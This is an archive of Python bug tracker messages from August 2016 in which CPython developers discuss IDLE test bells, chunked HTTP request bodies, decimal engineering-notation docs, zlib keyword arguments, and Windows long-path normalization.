---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:41:56 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 23:41:56 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <20160810234153.17964.65594.CD496A4D@psf.io> Roundup Robot added the comment: New changeset 0de509a79181 by Terry Jan Reedy in branch '2.7': Issue #27714: For IDLE's test_textview, backport 3.x subclass with mocks https://hg.python.org/cpython/rev/0de509a79181 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 19:42:51 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 10 Aug 2016 23:42:51 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470872571.46.0.829976570878.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The issue with test_textview in 3.x is that tearDownModule deleted a module attribute, 'TV', that was not created in setUpModule. For 2.7, 'TV' is a class attribute that is created in setUpClass and deleted in tearDownClass, so it does not have the same problem. On the other hand, 'TV' is the original textView.TextViewer class, as modified with mocks in setUpClass. The modifications are not reverted in tearDownClass. This is the original code, later modified in 3.x. This is safe both for re-runs and likely future tests, but this is not immediately obvious. In any case, it violates the idea/rule that tests should not make permanent changes. So I backported the local subclass of TextViewer used in 3.x. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 20:36:32 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 11 Aug 2016 00:36:32 +0000 Subject: [issue27728] HTTPConnection.requests has a mutable as default value for headers In-Reply-To: <1470851914.31.0.44404108288.issue27728@psf.upfronthosting.co.za> Message-ID: <1470875792.41.0.691000783944.issue27728@psf.upfronthosting.co.za> R. David Murray added the comment: Yes, this is one of those cases where the benefit of the change is probably outweighed by the cost. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 21:02:30 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 11 Aug 2016 01:02:30 +0000 Subject: [issue27732] IDLE tests should be quiet Message-ID: <1470877350.75.0.899143333504.issue27732@psf.upfronthosting.co.za> New submission from Terry J. Reedy: IDLE uses tkinter.widget.bell() in various places to signal an exceptional situation. Examples include 'Find' when the target cannot be found and 'Expand word' when there is no expansion (or are no more expansions. [The tk manual page is http://www.tcl.tk/man/tcl8.6/TkCmd/bell.htm. I have no idea what difference it makes which window the bell is rung on. When running test_idle, there are about 5 beeps. They serve no purpose and can only discourage buildbot owners from running gui tests, even if they could. Test_tk and test_ttk_guionly are silent. A solution is to replace something like 'self.text.bell' with 'self.bell', where the latter is either the former or 'lambda: None', depending on a 'utest=False' parameter. The replacement could lead to the following bonus in a follow-on issue: a separate function could be augmented to emit a 'visual bell', a signal that is seen rather than heard. This would benefit both the hard-of-hearing and those who edit with sound turned off or redirected to headphones not worn. Notepad++ somehow flashes the Search dialog title bar as well a adding a message to the status bar. I would rather flash (blink) the text not found or expanded. The idea is to replace a hard-coded external function with a custom wrapper subject to future improvement. ---------- assignee: terry.reedy components: IDLE messages: 272390 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: IDLE tests should be quiet type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 21:06:30 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 11 Aug 2016 01:06:30 +0000 Subject: [issue27732] IDLE tests should be quiet In-Reply-To: <1470877350.75.0.899143333504.issue27732@psf.upfronthosting.co.za> Message-ID: <1470877590.95.0.696045456719.issue27732@psf.upfronthosting.co.za> Zachary Ware added the comment: You could guard the noisy tests with "@support.requires_resource('audio')" (however that is actually spelled :)). ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 21:54:25 2016 From: report at bugs.python.org (Ben Hoyt) Date: Thu, 11 Aug 2016 01:54:25 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1470880465.94.0.0783287504685.issue27719@psf.upfronthosting.co.za> Ben Hoyt added the comment: Okay, patch attached -- I think it's best to simply remove that sentence. Side note: this is why GitHub is so good -- click edit, remove the sentence, click create pull request (approx time 30 seconds). I've got a new machine since I last did Python development, so to create an actual patch I needed to: download Mercurial, clone the repo, install Sphinx, edit the file, build the docs, create the patch (approx time 30 minutes). On the positive side, each of those steps was painless and trouble-free. :-) ---------- keywords: +patch Added file: http://bugs.python.org/file44071/issue27719-1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 22:09:08 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Thu, 11 Aug 2016 02:09:08 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470881348.33.0.0832173351307.issue27720@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: I had to look up what engineering notation meant, so I added detail to the docstring. ---------- nosy: +Evelyn Mitchell stage: -> patch review Added file: http://bugs.python.org/file44072/patch27720 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 23:10:11 2016 From: report at bugs.python.org (=?utf-8?b?SmVzw7pzIENlYSBBdmnDs24=?=) Date: Thu, 11 Aug 2016 03:10:11 +0000 Subject: [issue27568] "HTTPoxy", use of HTTP_PROXY flag supplied by attacker in CGI scripts In-Reply-To: <1468881013.81.0.152859673137.issue27568@psf.upfronthosting.co.za> Message-ID: <1470885011.54.0.167079098259.issue27568@psf.upfronthosting.co.za> Changes by Jes?s Cea Avi?n : ---------- nosy: +jcea _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 23:14:50 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 03:14:50 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470885290.82.0.0192794057146.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: _is_textIO(): I?m sorry but I still prefer the TextIOBase check over read(0). Each option has a disadvantage, but with TextIOBase, the disadvantage only affects text files, not byte files. Maybe another option is to stick with the current checking of the ?mode? attribute, or are its failings significant for chunked encoding? It seems to me that the most important use cases would be reading bytes from a pipe file, custom bytes file object reader, generator, etc, but not a text file without a ?mode? attribute. Checking Content-Length and Transfer-Encoding: I would prefer to remove this, unless there is a ?good? reason to keep them. I want to understand why the three specific checks were added, and what made them more special than other potential checks (e.g. the format of the Content-Length value, or that the resulting body matches it). If the reason is something like ?it is too easy for the caller to accidentally trigger the problem?, then there may be another way to fix it. Or maybe it is a mitigation for a security problem? But at the moment, it just seems to me like code being too smart for its own good. I mentioned a few possible bugs with parsing Transfer-Encoding at . The format of the Transfer-Encoding value is specified at and . In Issue 23498, I identified some parts of Python that parse header values like this, although it looks like http.cookiejar.split_header_words() may be the only one usable for Transfer-Encoding. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 23:30:20 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 03:30:20 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470886220.84.0.97827936468.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: Some of the header field validation was included in Demian?s first patch, raising HTTPEncodingError. But I don?t know why he included it. Maybe it was more appropriate then; it looks like that patch took a different approach than the current encode_chunked=True mechanism. ---------- assignee: martin.panter -> orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 23:31:23 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 03:31:23 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470886283.16.0.514114184563.issue12319@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- assignee: orsenthil -> martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 23:45:12 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 11 Aug 2016 03:45:12 +0000 Subject: [issue27732] IDLE tests should be quiet In-Reply-To: <1470877350.75.0.899143333504.issue27732@psf.upfronthosting.co.za> Message-ID: <20160811034509.3204.46145.E30848C4@psf.io> Roundup Robot added the comment: New changeset 2eb84fe85889 by Terry Jan Reedy in branch 'default': Issue #27732: Silence test_idle with dummy bell functions. https://hg.python.org/cpython/rev/2eb84fe85889 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:04:12 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 11 Aug 2016 04:04:12 +0000 Subject: [issue27733] Test that self.bell is called in IDLE classes when intended. Message-ID: <1470888252.5.0.707581681371.issue27733@psf.upfronthosting.co.za> New submission from Terry J. Reedy: Spinoff of #27732, which changed 5 tested bell-using classes to consistently call 'self.bell()' (instead of self.text.bell or whatever) so tests for such classes could replace the function with a quiet function. For 4 of the classes, the replacement is currently 'lambda: None'. For undo, it is a quiet mock that replaced a noisy mock wrapping and calling the original bell(). The purpose of the mock, either way, is to test that bell() is called when intended. I plan to add a new idle_test.mock_tk.bell function. I am considering having it automatically reset 'called' when 'called is accessed. In any case, this issue is about extending the use of mock bells to other tests. ---------- assignee: terry.reedy components: IDLE messages: 272397 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: Test that self.bell is called in IDLE classes when intended. type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:04:34 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 11 Aug 2016 04:04:34 +0000 Subject: [issue27733] Test that self.bell is called in IDLE classes when intended. In-Reply-To: <1470888252.5.0.707581681371.issue27733@psf.upfronthosting.co.za> Message-ID: <1470888274.16.0.889808988407.issue27733@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- components: +Tests _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:05:58 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 04:05:58 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <1470888358.42.0.326483824007.issue24773@psf.upfronthosting.co.za> Martin Panter added the comment: Any news on the remaining failures for year 2037? What about the buildbots that time out? Can the size of the tests be reduced, or perhaps should the buildbots be updated to extend the timeout? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:07:21 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 11 Aug 2016 04:07:21 +0000 Subject: [issue27732] IDLE tests should be quiet In-Reply-To: <1470877350.75.0.899143333504.issue27732@psf.upfronthosting.co.za> Message-ID: <1470888441.11.0.59605227754.issue27732@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Bell-using files patched (module and test) autoexpand, parenmatch, replace, search, undo Bell-using files not patched (no test yet) debugger, editor, grep, history, pyshell, scrolled_list, zoomheight A second bonus is that the dummy bell function, instead of lambda: None, can be a mock used to test that bell() was called when it should be (or even not). This was already true for test_undo, except that the mock wrapped rather than replaced the real bell function. I opened spinoff #27733 to extend this idea. To make this possible, I gave the class instances a self.bell function that was replaced by the test code afterwards. I am leaving this issue open to give the other bell-using classes a similar attribute in preparation for future tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:11:52 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 11 Aug 2016 04:11:52 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470888712.55.0.661513487547.issue16764@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:19:55 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 11 Aug 2016 04:19:55 +0000 Subject: [issue27732] IDLE tests should be quiet In-Reply-To: <1470877350.75.0.899143333504.issue27732@psf.upfronthosting.co.za> Message-ID: <1470889195.12.0.441564687382.issue27732@psf.upfronthosting.co.za> Terry J. Reedy added the comment: > @support.requires_resource('audio')? The point is that the noise is extraneous and should be optional. I want the tests to run (quietly) when I run them with unittest (which is most of the time) and anytime -ugui is true (too few of the buildbots). It was not too hard fix and has bonuses both for normal running and for tests. The parenmatch module has an option to turn off noise, and I might generalize that option, while still providing visual signals. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 00:48:08 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 04:48:08 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470890888.38.0.506875426696.issue27720@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 01:04:51 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Thu, 11 Aug 2016 05:04:51 +0000 Subject: [issue27734] Memory leaks at Python35-32 Message-ID: <1470891891.94.0.11080010974.issue27734@psf.upfronthosting.co.za> Changes by ?????? ????????? : ---------- components: 2to3 (2.x to 3.x conversion tool) nosy: ?????? ????????? priority: normal severity: normal status: open title: Memory leaks at Python35-32 versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 01:09:05 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Thu, 11 Aug 2016 05:09:05 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1470892145.62.0.158952294795.issue27734@psf.upfronthosting.co.za> Changes by ?????? ????????? : ---------- components: +Windows -2to3 (2.x to 3.x conversion tool) nosy: +paul.moore, steve.dower, tim.golden, zach.ware -?????? ????????? type: -> resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 02:14:26 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 06:14:26 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470896066.92.0.365912324004.issue27720@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks Evelyn. I've refined this a bit to incorporate the more precise wording in the decimal arithmetic specification (see http://speleotrove.com/decimal/daconvs.html ). Also added the missing doctests and synced-up the wording between the docstrings and the main docs. ---------- keywords: +patch Added file: http://bugs.python.org/file44073/decimal_eng_doc.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 02:46:06 2016 From: report at bugs.python.org (Kushal Das) Date: Thu, 11 Aug 2016 06:46:06 +0000 Subject: [issue27584] New addition of vSockets to the python socket module In-Reply-To: <1469115390.74.0.838831983223.issue27584@psf.upfronthosting.co.za> Message-ID: <1470897966.91.0.439200514924.issue27584@psf.upfronthosting.co.za> Kushal Das added the comment: The patch can be applied, and build successfully. I have ran the current test suite[1]. The two failed tests do not seem to be have anything to do with this patch (read the end of the consoleText output). I think the thing remaining is the new test cases, and NEWS file update. [1] https://ci.centos.org/job/cPython-build-patch/24/consoleText ---------- nosy: +kushal.das _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 02:58:28 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 11 Aug 2016 06:58:28 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470898708.24.0.916432066468.issue16764@psf.upfronthosting.co.za> Xiang Zhang added the comment: I agree with Martin and suggest make the following changes: 1. Make wbits and bufsize of zlib.decompress keyword arguments. 2. Make max_length of decompressobj.decompress keyword argument. I'd prefer others to stay position-only as now. Attach a patch doing the above 2 changes. ---------- Added file: http://bugs.python.org/file44074/zlib_keyword_argument.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 02:58:54 2016 From: report at bugs.python.org (Eryk Sun) Date: Thu, 11 Aug 2016 06:58:54 +0000 Subject: [issue27730] Update shutil to work with max file path length on Windows In-Reply-To: <1470870125.62.0.00624513832595.issue27730@psf.upfronthosting.co.za> Message-ID: <1470898734.83.0.380268230276.issue27730@psf.upfronthosting.co.za> Eryk Sun added the comment: Standard users have SeChangeNotifyPrivilege, which allows traversing a directory that they can't access, so Python should only work with paths as strings instead of trying to open a directory handle. I think it's best to make Windows do as much of the normalization work as possible. Why reinvent the wheel instead of relying on GetFullPathNameW [1]? For example, you propose to trim leading and trailing spaces and trailing dots from each component, but Windows itself doesn't go that far. Leading spaces are never removed. Only the final path component has all trailing spaces and dots trimmed. From the preceding components Windows will strip one and only one trailing dot, and a trailing space is never removed. Some examples: >>> os.path.exists(r'C:\Temp\test\dir1\dir2\file') True >>> os.path.exists(r'C:\Temp\test\dir1\dir2\file. . . . . .') True >>> os.path.exists(r'C:\Temp\test\dir1.\dir2.\file') True >>> os.path.exists(r'C:\Temp\test\dir1..\dir2\file') False >>> os.path.exists(r'C:\Temp\test\dir1 \dir2\file') False >>> os.path.exists(r'C:\Temp\test\ dir1\dir2\file') False Components that consist of only "." and ".." should also be normalized: >>> os.path.abspath(r'C:\Temp\test\dir1\..\dir1\.\dir2\...\file') 'C:\\Temp\\test\\dir1\\dir2\\...\\file' Paths with DOS devices also need to be translated beforehand, since the existence of classic DOS devices in every directory is emulated by the NT runtime library when it translates from DOS paths to native NT paths. For example: >>> os.path.abspath(r'C:\Temp\con') '\\\\.\\con' >>> os.path.abspath(r'C:\Temp\nul') '\\\\.\\nul' >>> os.path.abspath(r'C:\Temp\prn') '\\\\.\\prn' >>> os.path.abspath(r'C:\Temp\aux') '\\\\.\\aux' GetFullPathNameW handles all of these corner cases already, so I think a simpler algorithm is to just rely on Windows to do most of the work: * If len(path) < 260 or the path starts with L"\\\\?\\" or L"\\\\.\\", don't do anything. * Call GetFullPathNameW to calculate the required path length. * If the path starts with L"\\\\", over-allocate by sizeof(WCHAR) * 6. Otherwise over-allocate by sizeof(WCHAR) * 4. * Call GetFullPatheNameW again, with the buffer pointer adjusted past the overallocation. * If the path is a UNC path, copy the L"\\\\?\\UNC" prefix to the start of the buffer. Otherwise copy L"\\\\?\\". Contrary to the documentation on MSDN, Windows doesn't need the \\?\ prefix to use a long path with GetFullPathNameW. On NT systems it has always worked with long paths. The implementation uses the RtlGetFullPathName_U* family of functions, which immediately wrap the input buffer in a UNICODE_STRING, which has a limit of 32,768 characters. The only MAX_PATH limit here is one that can't be avoided. The process working directory is limited to MAX_PATH, as are the per-drive working directories (stored in hidden environment variables, e.g. "=C:"). At least that's the case prior to the upcoming change in Windows 10. With the change you propose in issue 27731, Windows 10 users should be able to set a working directory that exceeds MAX_PATH. For example, the following demonstrates (in Windows 10.0.10586) that the value of "=Z:" is only used when its length is less than MAX_PATH and the target directory exists. Create a long test path: >>> path = 'Z:' + r'\test' * 50 >>> os.makedirs('\\\\?\\' + path + r'\last\test') A drive-relative path is resolved relative to the root directory if the current directory on the drive doesn't exist or is inaccessible: >>> kernel32.SetEnvironmentVariableW('=Z:', path + r'\test') 1 >>> os.path._getfullpathname('Z:file') 'Z:\\file' It also uses the root directory if the current directory on the drive exceeds MAX_PATH: >>> kernel32.SetEnvironmentVariableW('=Z:', path + r'\last\test') 1 >>> os.path._getfullpathname('Z:file') 'Z:\\file' It resolves correctly if the current directory can be opened and the path length doesn't exceed MAX_PATH: >>> kernel32.SetEnvironmentVariableW('=Z:', path + r'\last') 1 >>> os.path._getfullpathname('Z:file') 'Z:\\test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\ test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\ test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\ test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\test\\ test\\test\\test\\test\\test\\test\\test\\last\\file' >>> shutil.rmtree(r'\\?\Z:\test') [1]: https://msdn.microsoft.com/en-us/library/aa364963 ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:02:44 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:02:44 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470898964.6.0.130626229696.issue27721@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Sorry Joseph, I concur that with Ned that we're best off leaving this alone (risk of breaking doctests with the changing repr, risk of fooling an overly specific type test, etc). The code is not incorrect and does correspond with its docstring which claims 1 for true and 2 for false. The sentiment is appreciated, but in general, the time to get APIs perfect is when it is initially released. Afterwards, we really only want to make implementation improvements or API extensions until the API is flat-out broken or has major usability problems (even then, it always causes consternation to change the API). ---------- nosy: +rhettinger resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:13:17 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 11 Aug 2016 07:13:17 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1470899597.61.0.899376459347.issue27558@psf.upfronthosting.co.za> Xiang Zhang added the comment: Ping. Mind to merge? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:14:25 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 11 Aug 2016 07:14:25 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470899665.62.0.750910713509.issue27721@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- resolution: not a bug -> wont fix stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:22:48 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:22:48 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1470900168.59.0.681874423145.issue27719@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks for noticing this. It looks like this particular example is now pointless and should be removed. The subsequent examples do a much better job of showing typical practices. ---------- nosy: +rhettinger Added file: http://bugs.python.org/file44075/exc_doc.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:23:02 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:23:02 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1470900182.77.0.356430047383.issue27719@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:25:36 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:25:36 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1470900336.79.0.374171432576.issue27558@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Davin, would you like to finish this one (NEWS and ACKS entries) and get it committed? ---------- assignee: -> davin nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:33:01 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:33:01 +0000 Subject: [issue10721] Remove HTTP 0.9 server support In-Reply-To: <1292523705.43.0.300913774105.issue10721@psf.upfronthosting.co.za> Message-ID: <1470900781.57.0.57220373394.issue10721@psf.upfronthosting.co.za> Raymond Hettinger added the comment: There is so very little code in support of HTTP/0.9 that I don't think we get any benefit from removing it. So why bother with the churn? It is cleaner to just leave it place. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:50:30 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:50:30 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470901830.45.0.940318813307.issue27574@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Normally, LGTM is an almost useless comment, but the patch does in fact look good to me. I like how compact and straight-forward the changes are to the individual parsing calls. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:51:07 2016 From: report at bugs.python.org (Antti Haapala) Date: Thu, 11 Aug 2016 07:51:07 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470901867.11.0.445153335405.issue27720@psf.upfronthosting.co.za> Antti Haapala added the comment: Raymond: your doc patch is not quite right. Decimal('123e1') is converted to Decimal('1.23e3') internally already; so that str(d) will print 1.23e3, scientific notation of that number is '1.23e3' and engineering notation is '1.23e3', thus not a good example. A better example would be Also, the engineering notation is a string, not a Decimal instance. Also, now that I test it, the whole `to_eng_string` seems to be utterly broken, same applies to "to_sci_string". They do not print in scientific notation if the exponent in the original number was 0: decimal.Decimal('123456789101214161820222426.0e0').to_eng_string() And all operations with decimal will now generate numbers with exponent of 0 if it is within their precision, so no engineering notation is ever printed, duh. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:52:53 2016 From: report at bugs.python.org (Rolf Krahl) Date: Thu, 11 Aug 2016 07:52:53 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470901973.35.0.435108001522.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: Martin, > _is_textIO(): I?m sorry but I still prefer the TextIOBase check over > read(0). Each option has a disadvantage, but with TextIOBase, the > disadvantage only affects text files, not byte files. Ok, this is a valid argument. > Maybe another option is to stick with the current checking of the > ?mode? attribute, or are its failings significant for chunked > encoding? It seems to me that the most important use cases would be > reading bytes from a pipe file, custom bytes file object reader, > generator, etc, but not a text file without a ?mode? attribute. No, this is not significant for chunked encoding. As I said, I am happy to accept any method. But I would say, it's a fairly save bet that any file-like that has the mode attribute is in fact derived from the base classes in the io module. If this assumption holds, then the TextIOBase check will always work in all cases where the mode attribute check would. The inverse is not true. So I'll use the TextIOBase check, hope you agree. > Checking Content-Length and Transfer-Encoding: I would prefer to > remove this, unless there is a ?good? reason to keep them. I want to > understand why the three specific checks were added, and what made > them more special than other potential checks (e.g. the format of > the Content-Length value, or that the resulting body matches it). If > the reason is something like ?it is too easy for the caller to > accidentally trigger the problem?, then there may be another way to > fix it. Or maybe it is a mitigation for a security problem? But at > the moment, it just seems to me like code being too smart for its > own good. Ok, I'll drop them. > I mentioned a few possible bugs with parsing Transfer-Encoding at > . > The format of the Transfer-Encoding value is specified at > and > . In Issue 23498, I > identified some parts of Python that parse header values like this, > although it looks like http.cookiejar.split_header_words() may be > the only one usable for Transfer-Encoding. I admit, I didn't read all comments on Demian's versions of the patch. Since I'll drop the checks, I guess, these problems are gone now. > Some of the header field validation was included in Demian?s first > patch, raising HTTPEncodingError. But I don?t know why he included > it. Maybe it was more appropriate then; it looks like that patch > took a different approach than the current encode_chunked=True > mechanism. I don't think this is in the current versions of the patch any more. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:53:40 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 07:53:40 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470902020.43.0.068145395415.issue27725@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I'm not clear on how non-use of the macro is causing your observed failures or whether that is due to a compiler bug. That said, I don't see any downside to using Py_SIZE everywhere it is applicable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:55:20 2016 From: report at bugs.python.org (Antti Haapala) Date: Thu, 11 Aug 2016 07:55:20 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1453922113.08.0.48679853518.issue26223@psf.upfronthosting.co.za> Message-ID: 